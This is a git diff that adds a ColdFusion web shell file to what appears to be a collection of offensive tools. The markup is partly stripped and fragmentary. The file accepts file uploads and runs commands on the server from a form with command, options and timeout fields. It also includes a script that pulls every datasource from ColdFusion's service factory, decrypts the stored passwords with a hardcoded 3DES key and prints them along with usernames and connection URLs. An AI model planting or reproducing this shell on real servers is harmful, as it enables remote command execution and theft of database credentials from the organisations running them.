diff --git a/Web-Shells/CFM/shell.cfm.html b/Web-Shells/CFM/shell.cfm.html new file mode 100644 index 00000000..69a59f5f --- /dev/null +++ b/Web-Shells/CFM/shell.cfm.html @@ -0,0 +1,88 @@ + + + + + +Notes:
+ +

+ + + + + +

Your file has been uploaded.

+ +
+
+ +
+ + + + + + + +
Command:value="#form.cmd#">
Options: value="#form.opts#">
Timeout: value="#form.timeout#" + value="5">
+ + + + + + + + +
+#HTMLCodeFormat(myVar)#
+
+
+ + +//The following code borrowed from hernanOchoa @hexale (thx) +//added better formatting on output and connection string [lb] + +// Create Data Source Object +dataSourceObb=createobject("java","coldfusion.server.ServiceFactory"). + getDatasourceService().getDatasources(); + writeoutput("

Datasource Credentials:
"); + writeoutput(""); +// Loop Through DataSources +for(i in dataSourceObb) { + if(len(dataSourceObb[i]["password"])){ + + // Get url + theurl=(dataSourceObb[i]["url"]); + + // Get username + username=(dataSourceObb[i]["username"]); + + // Get and decrypt password + decryptPassword=Decrypt(dataSourceObb[i]["password"], + generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", + "Base64"); + + // Output datasource usernames, passwords, and urls + writeoutput("" & + "" & + "" & + ""); + } +} +writeoutput("
DataSource: " & i & "Username: " & username & "Password: " & decryptPassword & + "URL: " & theurl & "

"); +
+ + + \ No newline at end of file